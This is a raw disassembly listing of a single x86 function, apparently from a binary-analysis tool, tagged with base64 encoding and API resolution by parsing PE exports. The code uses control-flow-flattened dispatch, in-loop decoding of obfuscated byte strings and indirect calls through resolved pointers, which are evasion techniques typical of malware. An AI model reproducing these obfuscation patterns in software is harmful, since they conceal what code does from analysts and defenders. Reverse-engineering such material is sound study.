Function at 0x414a40
Capabilities:
Encode data using base64
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x3d0
mov esi, esp
mov dword [esi + 0x2c0], 0x72ed247e
lea eax, [esi + 0x2c0]
mov dword [esi + 4], eax
mov eax, dword [esi + 0x2c0]
mov ecx, eax
sub ecx, 0x81fe0b43
je 0x417d4e
jmp 0x414a7a
mov ecx, eax
sub ecx, 0x8245280c
je 0x417db6
jmp 0x414a8a
mov ecx, eax
sub ecx, 0x82c424eb
je 0x41948d
jmp 0x414a9a
mov ecx, eax
sub ecx, 0x8399325c
je 0x417cff
jmp 0x414aaa
mov ecx, eax
sub ecx, 0x885d38c4
je 0x4160d9
jmp 0x414aba
mov ecx, eax
sub ecx, 0x886d31ba
je 0x4176c2
jmp 0x414aca
mov ecx, eax
sub ecx, 0x8c1c19a5
je 0x416bd9
jmp 0x414ada
mov ecx, eax
sub ecx, 0x8cf4e2c7
je 0x417664
jmp 0x414aea
mov ecx, eax
sub ecx, 0x8d342b30
je 0x416cce
jmp 0x414afa
mov ecx, eax
sub ecx, 0x8f46dd0d
je 0x4161c8
jmp 0x414b0a
mov ecx, eax
sub ecx, 0x90b50520
je 0x415ba6
jmp 0x414b1a
mov ecx, eax
sub ecx, 0x917adc14
je 0x415eba
jmp 0x414b2a
mov ecx, eax
sub ecx, 0x93bde52d
je 0x418f03
jmp 0x414b3a
mov ecx, eax
sub ecx, 0x93fc7167
je 0x418586
jmp 0x414b4a
mov ecx, eax
sub ecx, 0x94198baa
je 0x415e04
jmp 0x414b5a
mov ecx, eax
sub ecx, 0x950cd54a
je 0x416339
jmp 0x414b6a
mov ecx, eax
sub ecx, 0x95539c11
je 0x418f21
jmp 0x414b7a
mov ecx, eax
sub ecx, 0x959e8813
je 0x418f61
jmp 0x414b8a
mov ecx, eax
sub ecx, 0x96a92fa5
je 0x418f77
jmp 0x414b9a
mov ecx, eax
sub ecx, 0x971c8e69
je 0x417d99
jmp 0x414baa
mov ecx, eax
sub ecx, 0x97a9a3f7
je 0x417fe7
jmp 0x414bba
mov ecx, eax
sub ecx, 0x97fa8b15
je 0x415dd7
jmp 0x414bca
mov ecx, eax
sub ecx, 0x9a78b991
je 0x4159f5
jmp 0x414bda
mov ecx, eax
sub ecx, 0x9b117fda
je 0x418b93
jmp 0x414bea
mov ecx, eax
sub ecx, 0x9b12a8ca
je 0x4163e0
jmp 0x414bfa
mov ecx, eax
sub ecx, 0x9b180db4
je 0x4185d2
jmp 0x414c0a
mov ecx, eax
sub ecx, 0x9c6b716f
je 0x416a6c
jmp 0x414c1a
mov ecx, eax
sub ecx, 0x9dc36e75
je 0x416639
jmp 0x414c2a
mov ecx, eax
sub ecx, 0x9e7aea4b
je 0x419544
jmp 0x414c3a
mov ecx, eax
sub ecx, 0xa26f1489
je 0x4160af
jmp 0x414c4a
mov ecx, eax
sub ecx, 0xa2b491f2
je 0x417d7d
jmp 0x414c5a
mov ecx, eax
sub ecx, 0xa30b1e51
je 0x416347
jmp 0x414c6a
mov ecx, eax
sub ecx, 0xa33f7a80
je 0x415bfe
jmp 0x414c7a
mov ecx, eax
sub ecx, 0xa3dd3b69
je 0x41809c
jmp 0x414c8a
mov ecx, eax
sub ecx, 0xa6f90117
je 0x4157ea
jmp 0x414c9a
mov ecx, eax
sub ecx, 0xa76e88d2
je 0x4179b0
jmp 0x414caa
mov ecx, eax
sub ecx, 0xa9c3809e
je 0x415a2b
jmp 0x414cba
mov ecx, eax
sub ecx, 0xaa9ef19e
je 0x417e0d
jmp 0x414cca
mov ecx, eax
sub ecx, 0xaaf35cc8
je 0x418594
jmp 0x414cda
mov ecx, eax
sub ecx, 0xabc6a11a
je 0x416ea1
jmp 0x414cea
mov ecx, eax
sub ecx, 0xacaa9e26
je 0x41761a
jmp 0x414cfa
mov ecx, eax
sub ecx, 0xad84c488
je 0x417296
jmp 0x414d0a
mov ecx, eax
sub ecx, 0xadfd0324
je 0x416d20
jmp 0x414d1a
mov ecx, eax
sub ecx, 0xb0109b96
je 0x418d4b
jmp 0x414d2a
mov ecx, eax
sub ecx, 0xb17d69e2
je 0x4172cb
jmp 0x414d3a
mov ecx, eax
sub ecx, 0xb183a726
je 0x416570
jmp 0x414d4a
mov ecx, eax
sub ecx, 0xb1ba11a4
je 0x417df0
jmp 0x414d5a
mov ecx, eax
sub ecx, 0xb1d49620
je 0x418f53
jmp 0x414d6a
mov ecx, eax
sub ecx, 0xb287c529
je 0x415a55
jmp 0x414d7a
mov ecx, eax
sub ecx, 0xb2c89ef0
je 0x417cf1
jmp 0x414d8a
mov ecx, eax
sub ecx, 0xb3690a92
je 0x416974
jmp 0x414d9a
mov ecx, eax
sub ecx, 0xb3b70ce0
je 0x4182ab
jmp 0x414daa
mov ecx, eax
sub ecx, 0xb3eac99f
je 0x418bc0
jmp 0x414dba
mov ecx, eax
sub ecx, 0xb4cf6856
je 0x415a9c
jmp 0x414dca
mov ecx, eax
sub ecx, 0xb77c8685
je 0x4160cb
jmp 0x414dda
mov ecx, eax
sub ecx, 0xba7c1c07
je 0x416ae4
jmp 0x414dea
mov ecx, eax
sub ecx, 0xbb3241ca
je 0x416ad6
jmp 0x414dfa
mov ecx, eax
sub ecx, 0xbc6a9981
je 0x41647c
jmp 0x414e0a
mov ecx, eax
sub ecx, 0xbc8e50c3
je 0x416e71
jmp 0x414e1a
mov ecx, eax
sub ecx, 0xbcf332e3
je 0x415d9e
jmp 0x414e2a
mov ecx, eax
sub ecx, 0xbd25b61c
je 0x4186a1
jmp 0x414e3a
mov ecx, eax
sub ecx, 0xbd2a2b3a
je 0x417ee2
jmp 0x414e4a
mov ecx, eax
sub ecx, 0xbe9dafce
je 0x4186c4
jmp 0x414e5a
mov ecx, eax
sub ecx, 0xc14ef0ca
je 0x41896d
jmp 0x414e6a
mov ecx, eax
sub ecx, 0xc16f48cf
je 0x416355
call fcn.00419a90
push eax
mov eax, esp
mov dword [esi + 0x70], eax
push eax
mov eax, esp
mov dword [esi + 0x240], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x74], eax
push eax
mov eax, esp
mov dword [esi + 0x244], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x48], eax
push eax
mov eax, esp
mov dword [esi + 0x248], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x4c], eax
push eax
mov eax, esp
mov dword [esi + 0x24c], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x250], eax
push eax
mov eax, esp
mov dword [esi + 0x350], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x254], eax
push eax
mov eax, esp
mov dword [esi + 0x354], eax
sub esp, 0x400
mov eax, esp
mov dword [esi + 0x258], eax
push eax
mov eax, esp
mov dword [esi + 8], eax
push eax
mov eax, esp
mov dword [esi + 0x50], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xe0], eax
push eax
mov eax, esp
mov dword [esi + 0x358], eax
push eax
mov eax, esp
mov dword [esi + 0x24], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x78], eax
push eax
mov eax, esp
mov dword [esi + 0x25c], eax
sub esp, 0x40
mov eax, esp
mov dword [esi + 0xe4], eax
sub esp, 0x60
mov eax, esp
mov dword [esi + 0x54], eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x260], eax
push eax
mov eax, esp
mov dword [esi + 0x35c], eax
push eax
mov eax, esp
mov dword [esi + 0x28], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x264], eax
push eax
mov eax, esp
mov dword [esi + 0x360], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x58], eax
push eax
mov eax, esp
mov dword [esi + 0x268], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x5c], eax
push eax
mov eax, esp
mov dword [esi + 0x26c], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0xe8], eax
push eax
mov eax, esp
mov dword [esi + 0x364], eax
push eax
mov eax, esp
mov dword [esi + 0x7c], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0xec], eax
push eax
mov eax, esp
mov dword [esi + 0x368], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x270], eax
push eax
mov eax, esp
mov dword [esi + 0x36c], eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x274], eax
push eax
mov eax, esp
mov dword [esi + 0x370], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x80], eax
push eax
mov eax, esp
mov dword [esi + 0x278], eax
sub esp, 0x40
mov eax, esp
mov dword [esi + 0x40], eax
push eax
mov eax, esp
mov dword [esi + 0x27c], eax
sub esp, 0x38
mov eax, esp
mov dword [esi + 0x84], eax
push eax
mov eax, esp
mov dword [esi + 0x280], eax
sub esp, 0x44
mov eax, esp
mov dword [esi + 0xf0], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0xf4], eax
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 0x284], eax
push eax
sub esp, 0x40
mov eax, esp
mov dword [esi + 0x2c], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x60], eax
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00401bf0
add esp, 4
mov dword [esi + 0x64], eax
cmp dword [esi + 0x64], 0
sete al
and al, 1
mov byte [esi + 0x31], al
mov eax, dword [esi + 4]
mov dword [eax], 0x9a78b991
jmp 0x419618
mov eax, 0x21224641
test byte [esi + 0x31], 1
jne 0x415a05
mov eax, 0x6e01bb9a
mov ecx, dword [esi + 4]
mov dword [ecx], eax
jmp 0x419618
mov eax, dword [esi + 4]
mov dword [eax], 0xcbcad626
mov byte [esi + 0x18], 0
jmp 0x419618
mov eax, dword [esi + 0x200]
mov dword [esi + 0x88], eax
mov eax, dword [esi + 4]
mov dword [eax], 0x1c258ed0
jmp 0x419618
mov eax, 0x1451106a
test byte [esi + 0x32], 1
jne 0x415aac
mov eax, 0xdb0dd102
mov ecx, dword [esi + 4]
mov dword [ecx], eax
jmp 0x419618
mov eax, dword [esi + 4]
mov dword [eax], 0x3a8c8bc6
jmp 0x419618
mov eax, 0xc107d9d
test byte [esi + 0x33], 1
jne 0x415c0e
mov eax, 0x2cbd89d2
mov ecx, dword [esi + 4]
mov dword [ecx], eax
jmp 0x419618
mov eax, 0x705170db
test byte [esi + 0x35], 1
jne 0x415dae
mov eax, 0x7f71299b
mov ecx, dword [esi + 4]
mov dword [ecx], eax
jmp 0x419618
mov eax, dword [esi + 4]
mov dword [eax], 0x705170db
jmp 0x419618
mov ecx, dword [esi + 0x24c]
mov eax, dword [esi + 0x4c]
mov cl, byte [ecx]
mov byte [esi + 0x170], cl
mov byte [eax], 0x4b
mov byte [eax + 1], 0x3f
mov ecx, 2
mov byte [eax + ecx], 0
add ecx, 1
cmp ecx, 8
jne 0x415e21
mov eax, dword [esi + 0x4c]
xor ecx, ecx
cmp ecx, 8
jae 0x415e83
movzx ebx, byte [eax + ecx]
mov edx, 0x229d374a
sub edx, ecx
or edx, ebx
mov edi, 0x4a
sub edi, ecx
and edi, ebx
mov ebx, edi
shl ebx, 1
xor ebx, 0xffffffff
add edi, ebx
and edx, edi
mov ebx, edx
and ebx, 0x76
xor ebx, 0x76
and edx, 0x89
sub ebx, edx
mov byte [eax + ecx], bl
mov edi, ecx
add edi, 1
mov edx, ecx
xor edx, 0xffffffff
or edx, 1
add edx, edi
shl edx, 1
xor ecx, 1
add ecx, edx
jmp 0x415e32
mov ecx, dword [esi + 0xc]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.00401880
add esp, 8
mov dword [esi + 0x374], eax
mov eax, dword [esi + 4]
mov dword [eax], 0x28c54126
jmp 0x419618
mov ecx, dword [esi + 0x350]
mov eax, dword [esi + 0x250]
mov cl, byte [ecx]
mov byte [esi + 0x174], cl
mov byte [eax], 0x8e
mov byte [eax + 1], 0x9f
mov byte [eax + 2], 0x2a
mov ecx, 3
mov byte [eax + ecx], 0
add ecx, 1
cmp ecx, 7
jne 0x415ede
mov ecx, dword [esi + 0x250]
xor edi, edi
cmp edi, 7
jae 0x415f55
movzx eax, byte [ecx + edi]
mov dword [esi + 0x2f0], eax
mov edx, edi
add edx, 0x6c475147
mov ebx, edx
xor ebx, eax
mov eax, 0x93b8aeb8
sub eax, edi
or eax, ebx
mov ebx, eax
xor ebx, 0xffffffff
mov dword [esi + 0x314], ecx
mov ecx, ebx
and ecx, 0xfd
and eax, 2
imul eax, ecx
mov ecx, ebx
and ecx, 2
or ebx, 2
imul ebx, ecx
mov ecx, dword [esi + 0x314]
add ebx, eax
add edx, dword [esi + 0x2f0]
sub edx, ebx
add dl, 0x9d
mov byte [ecx + edi], dl
add edi, 1
jmp 0x415ef2
mov eax, dword [esi + 0xc]
sub esp, 8
mov dword [esp + 4], ecx
mov dword [esp], eax
call fcn.004019b0
add esp, 8
fnstcw word [esi + 0x6e]
movzx eax, word [esi + 0x6e]
or eax, 0xc00
mov word [esi + 0x1ee], ax
fldcw word [esi + 0x1ee]
fistp dword [esi + 0x34c]
fldcw word [esi + 0x6e]
mov eax, dword [esi + 0x34c]
mov dword [esi + 0x14], eax
mov ecx, dword [esi + 0x354]
mov eax, dword [esi + 0x254]
mov cl, byte [ecx]
mov byte [esi + 0x178], cl
mov byte [eax], 0x3d
mov byte [eax + 1], 0x91
mov ecx, 2
mov byte [eax + ecx], 0
add ecx, 1
cmp ecx, 8
jne 0x415fb5
mov eax, dword [esi + 0x254]
xor ecx, ecx
cmp ecx, 8
jae 0x416002
movzx edi, byte [eax + ecx]
mov ebx, ecx
shl ebx, 1
and ebx, 0x3bc32648
mov edx, ecx
xor edx, 0x9de19324
add edx, ebx
xor edx, edi
mov edi, edx
shl edi, 1
and edi, 0x96
xor edx, 0x4b
add edx, edi
add dl, 1
mov byte [eax + ecx], dl
add ecx, 1
jmp 0x415fc9
mov ecx, dword [esi + 0xc]
sub esp, 8
mov dword [esp + 4], eax
mov dword [esp], ecx
call fcn.004019b0
add esp, 8
fnstcw word [esi + 0x6c]
movzx eax, word [esi + 0x6c]
or eax, 0xc00
mov word [esi + 0x1ec], ax
fldcw word [esi + 0x1ec]
fistp dword [esi + 0x348]
fldcw word [esi + 0x6c]
mov eax, dword [esi + 0x348]
mov dword [esi + 0x28c], eax
mov eax, dword [esi + 0x374]
mov ecx, dword [esi + 0x258]
xor edx, edx
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], 0x400
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
call fcn.0040aec0
add esp, 0x10
mov eax, dword [esi + 0x50]
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0x258]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0040b6a0
add esp, 0xc
mov ecx, 0x885d38c4
test al, 1
jne 0x4160a5
mov ecx, 0xa26f1489
mov eax, dword [esi + 4]
mov dword [eax], ecx
jmp 0x419618
mov eax, dword [esi + 4]
mov dword [eax], 0xcd2585e
jmp 0x419618
mov eax, dword [esi + 4]
mov dword [eax], 0x7a588dae
jmp 0x419618
cmp dword [esi + 0x28c], 0
sete al
and al, 1
mov byte [esi + 0x19], al
mov eax, 0x28f79c1a
test byte [esi + 0x19], 1
jne 0x4160f8
mov eax, 0xea925464
mov ecx, dword [esi + 4]
mov dword [ecx], eax
jmp 0x419618
mov eax, dword [esi + 4]
mov dword [eax], 0xf2803162
jmp 0x419618
mov eax, dword [esi + 4]
mov dword [eax], 0xa30b1e51
jmp 0x419618
mov eax, dword [esi + 4]
mov dword [eax], 0xc16f48cf
jmp 0x419618
mov eax, dword [esi + 0x24]
mov eax, dword [eax]
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x4163fb
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.004088e0
add esp, 4
mov dword [esi + 0xf8], eax
mov eax, dword [0x4510e0]
mov dword [esi + 0x2e8], eax
mov ecx, dword [esi + 0x24]
mov eax, dword [ecx]
mov dword [esi + 0x2c8], eax
mov edx, dword [esi + 0xf8]
mov edi, dword [esi + 0x1c]
mov ebx, dword [esi + 0x8c]
mov eax, dword [esi + 0x24]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], edi
mov dword [esp + 8], ebx
mov dword [esp + 0xc], edx
mov ecx, dword [esi + 0x2c8]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
call dword [esi + 0x2e8]
cmp eax, 0
setge al
and al, 1
mov byte [esi + 0x37], al
mov eax, dword [esi + 4]
mov dword [eax], 0xbc6a9981
jmp 0x419618
mov eax, 0x5a2d9deb
test byte [esi + 0x37], 1
jne 0x41648c
mov eax, 0x5faed140
mov ecx, dword [esi + 4]
mov dword [ecx], eax
jmp 0x419618
mov eax, dword [esi + 4]
mov dword [eax], 0xd5565cf9
jmp 0x419618
mov eax, dword [esi + 0xe4]
call fcn.00408ff0
and eax, 0xf
add eax, 0x6a691942
add eax, 0x9596e6ce
mov dword [esi + 0x380], eax
mov eax, dword [esi + 4]
mov dword [eax], 0xc2f6a341
mov eax, dword [esi + 0xe4]
mov dword [esi + 0x218], eax
mov dword [esi + 0x214], 0
jmp 0x419618
mov eax, dword [esi + 0x28]
mov eax, dword [eax]
add eax, 0xdcb9815c
add eax, 4
sub eax, 0xdcb9815c
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x41699c
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.004088e0
add esp, 4
mov dword [esi + 0x20], eax
mov eax, dword [0x4510e0]
mov dword [esi + 0x2ec], eax
mov ecx, dword [esi + 0x28]
mov eax, dword [ecx]
mov dword [esi + 0x2cc], eax
mov edx, dword [esi + 0x20]
mov edi, dword [esi + 0xfc]
mov ebx, dword [esi + 0x28]
mov eax, dword [esi + 0x54]
xor ecx, ecx
sub esp, 0x18
mov dword [esp], 0
mov dword [esp + 4], eax
mov dword [esp + 8], edi
mov dword [esp + 0xc], edx
mov eax, dword [esi + 0x2cc]
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], ebx
call dword [esi + 0x2ec]
cmp eax, 0
setge al
and al, 1
mov byte [esi + 0x38], al
mov eax, dword [esi + 4]
mov dword [eax], 0x417e373c
jmp 0x419618
mov eax, dword [esi + 4]
mov dword [eax], 0xe6b80948
jmp 0x419618
mov eax, dword [esi + 4]
mov dword [eax], 0xba7c1c07
jmp 0x419618
cmp dword [esi + 0x14], 0
sete al
and al, 1
mov byte [esi + 0x39], al
mov eax, dword [esi + 4]
mov dword [eax], 0x512695e2
jmp 0x419618
mov eax, dword [esi + 4]
mov dword [eax], 0x321aef50
jmp 0x419618
mov eax, dword [esi + 4]
mov dword [eax], 0x6ab607f8
jmp 0x419618
mov eax, dword [esi + 4]
mov dword [eax], 0x50d30002
jmp 0x419618
mov eax, dword [esi + 0x21c]
mov dword [esi + 0x390], eax
mov eax, dword [esi + 4]
mov dword [eax], 0xabc6a11a
mov eax, dword [esi + 0x390]
mov dword [esi + 0xc4], 0
mov dword [esi + 0xc0], eax
jmp 0x419618
mov eax, dword [esi + 0xc0]
mov ecx, dword [esi + 0xc4]
mov dword [esi + 0x10], eax
mov eax, 0x229d7af1
cmp ecx, 0
je 0x416ebf
mov eax, 0x7a588dae
mov ecx, dword [esi + 4]
mov dword [ecx], eax
jmp 0x419618
mov eax, dword [esi + 0x100]
sub esp, 4
mov dword [esp], eax
call fcn.004089f0
add esp, 4
sub eax, 0x896a083
add eax, 1
add eax, 0x896a083
mov dword [esi + 0x3a0], eax
mov eax, dword [esi + 4]
mov dword [eax], 0xb17d69e2
jmp 0x419618
mov eax, dword [esi + 4]
mov dword [eax], 0x42a79583
mov eax, dword [esi + 0x3a0]
mov dword [esi + 0x224], eax
jmp 0x419618
mov eax, dword [esi + 4]
mov dword [eax], 0x56564b33
jmp 0x419618
cmp dword [esi + 0x14], 2
sete al
and al, 1
mov byte [esi + 0x3d], al
mov eax, dword [esi + 4]
mov dword [eax], 0x1a9397c4
jmp 0x419618
mov eax, dword [esi + 0x10]
sub esp, 4
mov dword [esp], eax
call fcn.00419a70
add esp, 4
mov ecx, eax
and ecx, 0x1d
shl ecx, 1
xor eax, 0x1d
add eax, ecx
add eax, 1
mov ecx, 2
mul ecx
seto dl
mov ecx, 0xffffffff
test dl, 1
jne 0x4176f8
mov ecx, eax
sub esp, 4
mov dword [esp], ecx
call fcn.004088e0
add esp, 4
mov dword [esi + 0x2b8], eax
mov ecx, dword [esi + 0x278]
mov eax, dword [esi + 0x80]
mov cl, byte [ecx]
mov byte [esi + 0x1b4], cl
mov byte [eax], 0xae
mov byte [eax + 1], 0x8f
mov byte [eax + 2], 0x8e
mov byte [eax + 3], 0xb1
mov ecx, 4
mov byte [eax + ecx], 0
add ecx, 1
cmp ecx, 6
jne 0x417734
mov edi, dword [esi + 0x80]
xor eax, eax
cmp eax, 6
jae 0x41777f
movzx edx, byte [edi + eax]
mov ecx, eax
add ecx, 0x6e13a69d
xor ecx, edx
mov edx, ecx
shl edx, 1
and edx, 0xdc
mov ebx, ecx
xor ebx, 0xee
add ebx, edx
and ecx, 1
or ebx, 1
add ecx, ebx
mov byte [edi + eax], cl
add eax, 1
jmp 0x417748
mov eax, dword [esi + 0x40]
mov ecx, dword [esi + 0x27c]
mov eax, dword [esi + 0x40]
mov cl, byte [ecx]
mov byte [esi + 0x1bc], cl
mov byte [eax], 0x90
mov byte [eax + 1], 0x21
mov byte [eax + 2], 0x9d
mov byte [eax + 3], 0x23
mov byte [eax + 4], 0x93
mov byte [eax + 5], 0x25
mov byte [eax + 6], 0x83
mov byte [eax + 7], 0x27
mov byte [eax + 8], 0x8a
mov byte [eax + 9], 0x39
mov byte [eax + 0xa], 0x89
mov byte [eax + 0xb], 0x3b
mov byte [eax + 0xc], 0x84
mov byte [eax + 0xd], 0x3d
mov byte [eax + 0xe], 0x9b
mov byte [eax + 0xf], 0x3f
mov byte [eax + 0x10], 0x8c
mov byte [eax + 0x11], 0x31
mov byte [eax + 0x12], 0x8e
mov byte [eax + 0x13], 0x33
mov byte [eax + 0x14], 0xd4
mov byte [eax + 0x15], 0x35
mov byte [eax + 0x16], 0xcb
mov byte [eax + 0x17], 0x37
mov byte [eax + 0x18], 0xad
mov byte [eax + 0x19], 9
mov byte [eax + 0x1a], 0x82
mov byte [eax + 0x1b], 0xb
mov byte [eax + 0x1c], 0xa9
mov byte [eax + 0x1d], 0xd
mov byte [eax + 0x1e], 0xad
mov byte [eax + 0x1f], 0xf
mov byte [eax + 0x20], 0xe0
mov byte [eax + 0x21], 1
mov byte [eax + 0x22], 0xa0
mov byte [eax + 0x23], 3
mov byte [eax + 0x24], 0x8d
mov byte [eax + 0x25], 5
mov byte [eax + 0x26], 0xb6
mov byte [eax + 0x27], 7
mov byte [eax + 0x28], 0xb9
mov byte [eax + 0x29], 0x19
mov byte [eax + 0x2a], 0xa9
mov byte [eax + 0x2b], 0x1b
mov byte [eax + 0x2c], 0xaf
mov byte [eax + 0x2d], 0x1d
mov byte [eax + 0x2e], 0xfe
mov byte [eax + 0x2f], 0x1f
mov byte [eax + 0x30], 0xed
mov byte [eax + 0x31], 0x11
mov byte [eax + 0x32], 0xb4
mov byte [eax + 0x33], 0x13
mov byte [eax + 0x34], 0xf4
mov byte [eax + 0x35], 0x15
mov byte [eax + 0x36], 0xf4
mov byte [eax + 0x37], 0x17
mov byte [eax + 0x38], 0xe8
mov byte [eax + 0x39], 0xe9
mov ecx, 0x3a
mov byte [eax + ecx], 0
add ecx, 1
cmp ecx, 0x40
jne 0x41787f
mov eax, dword [esi + 0x40]
xor ecx, ecx
cmp ecx, 0x40
jae 0x4178c1
movzx ebx, byte [eax + ecx]
mov edx, ecx
add edx, 0x244173c8
xor edx, ebx
mov ebx, edx
and ebx, 0xe9
xor ebx, 0xe9
and edx, 0x16
sub edx, ebx
add dl, 1
mov byte [eax + ecx], dl
add ecx, 1
jmp 0x417890
mov ecx, dword [esi + 0x2b8]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.0040a3c0
add esp, 8
mov ecx, dword [esi + 0x10]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], ecx
call fcn.0040a3c0
mov dword [esp], eax
mov dword [esp + 4], edi
call fcn.0040a3c0
add esp, 8
mov eax, dword [esi + 4]
mov dword [eax], 0xffe8932a
jmp 0x419618
mov eax, dword [esi + 0x230]
mov ecx, dword [esi + 0x234]
mov edx, dword [esi + 0x238]
mov edi, dword [esi + 0x23c]
mov dword [esi + 0x3b8], eax
mov dword [esi + 0x3bc], ecx
mov dword [esi + 0x3c0], edx
mov eax, 0x81fe0b43
cmp edi, 0
je 0x4179e9
mov eax, 0x7a588dae
mov ecx, dword [esi + 4]
mov dword [ecx], eax
mov eax, dword [esi + 0x3c0]
mov ecx, dword [esi + 0x3bc]
mov edx, dword [esi + 0x3b8]
mov dword [esi + 0xdc], eax
mov dword [esi + 0xd8], ecx
mov dword [esi + 0xd4], edx
jmp 0x419618
mov eax, dword [esi + 4]
mov dword [eax], 0x8399325c
jmp 0x419618
mov eax, dword [esi + 0x10c]
sub esp, 4
mov dword [esp], eax
call fcn.004088f0
add esp, 4
mov eax, dword [esi + 4]
mov dword [eax], 0x56617c22
jmp 0x419618
mov eax, dword [esi + 0xd4]
mov ecx, dword [esi + 0xd8]
mov edx, dword [esi + 0xdc]
mov dword [esi + 0x44], eax
mov dword [esi + 0x110], ecx
mov dword [esi + 0x94], edx
mov eax, dword [esi + 4]
mov dword [eax], 0xa2b491f2
jmp 0x419618
mov eax, dword [esi + 4]
mov dword [eax], 0x2ff501c8
jmp 0x419618
mov eax, 0xb1ba11a4
cmp dword [esi + 0x94], 1
jl 0x417dac
mov eax, 0x8245280c
mov ecx, dword [esi + 4]
mov dword [ecx], eax
jmp 0x419618
mov eax, 0x97a9a3f7
cmp dword [esi + 0x94], 2
jl 0x417dc9
mov eax, 0xe6671e6c
mov ecx, dword [esi + 4]
mov dword [ecx], eax
jmp 0x419618
mov eax, 0xaa9ef19e
cmp dword [esi + 0x94], 0
je 0x417e03
mov eax, 0x76a8d58d
mov ecx, dword [esi + 4]
mov dword [ecx], eax
jmp 0x419618
mov eax, 0x7f800fcb
test byte [esi + 0x19], 1
jne 0x417e1d
mov eax, 0x97a9a3f7
mov ecx, dword [esi + 4]
mov dword [ecx], eax
jmp 0x419618
mov eax, dword [esi + 0xf4]
mov eax, dword [eax]
mov dword [esi + 0x2f8], eax
mov al, byte [esi + 0x13c]
mov byte [esi + 0x1dc], al
mov byte [esi + 0x140], 0x1d
mov byte [esi + 0x141], 0x1a
mov byte [esi + 0x142], 0x1b
mov byte [esi + 0x143], 0x18
mov eax, 4
mov byte [esi + eax + 0x140], 0
add eax, 1
cmp eax, 8
jne 0x417f1d
xor eax, eax
cmp eax, 8
jae 0x417f51
mov cl, byte [esi + eax + 0x140]
mov dl, al
add dl, 0x7b
xor dl, cl
add dl, 0x99
mov byte [esi + eax + 0x140], dl
add eax, 1
jmp 0x417f2f
mov eax, dword [esi + 0x140]
mov dword [esi + 0x31c], eax
xor edi, edi
cmp edi, dword [0x4510e4]
jb 0x417f69
jmp 0x417fc5
mov eax, dword [0x4510e8]
cmp dword [eax + edi*8], 0x1b6183f2
sete cl
mov bl, cl
test cl, 1
jne 0x417f81
jmp 0x417fb9
mov eax, dword [eax + edi*8 + 4]
cmp eax, dword [esi + 0x31c]
jne 0x417f8f
jmp 0x417fb9
mov ecx, dword [0x4510ec]
sub esp, 0x10
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 4
mov eax, dword [esi + 0x2f8]
mov dword [esp + 0xc], eax
call fcn.004414e0
add esp, 0x10
test bl, 1
je 0x417fc0
mov eax, dword [esi + 4]
mov dword [eax], 0xc9d035f5
jmp 0x419618
mov eax, dword [esi + 4]
mov dword [eax], 0x7c9e2f58
jmp 0x419618
mov eax, dword [esi + 0x284]
mov dword [eax + 4], 0xffffffff
mov dword [eax], 0xdc3cba00
mov eax, dword [esi + 0x114]
mov dword [esi + 0x308], eax
mov eax, dword [esi + 0x284]
mov dword [esi + 0x338], eax
mov al, byte [esi + 0x1c8]
mov byte [esi + 0x1d4], al
mov byte [esi + 0x1cc], 0x1d
mov byte [esi + 0x1cd], 0x1a
mov byte [esi + 0x1ce], 0x1b
mov byte [esi + 0x1cf], 0x18
mov eax, 4
mov byte [esi + eax + 0x1cc], 0
add eax, 1
cmp eax, 8
jne 0x4180f4
xor eax, eax
cmp eax, 8
jae 0x418128
mov cl, byte [esi + eax + 0x1cc]
mov dl, al
add dl, 0x7b
xor dl, cl
add dl, 0x99
mov byte [esi + eax + 0x1cc], dl
add eax, 1
jmp 0x418106
mov eax, dword [esi + 0x1cc]
mov dword [esi + 0x32c], eax
xor edi, edi
cmp edi, dword [0x4510e4]
jb 0x418140
jmp 0x4181ae
mov eax, dword [0x4510e8]
cmp dword [eax + edi*8], 0x4c697c35
sete cl
mov bl, cl
test cl, 1
jne 0x418158
jmp 0x4181a2
mov eax, dword [eax + edi*8 + 4]
cmp eax, dword [esi + 0x32c]
je 0x4181a2
mov ecx, dword [0x4510ec]
xor edx, edx
sub esp, 0x18
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0xc
mov eax, dword [esi + 0x308]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
mov eax, dword [esi + 0x338]
mov dword [esp + 0x14], eax
call fcn.004414e0
add esp, 0x18
test bl, 1
je 0x4181a9
jmp 0x4181ae
add edi, 1
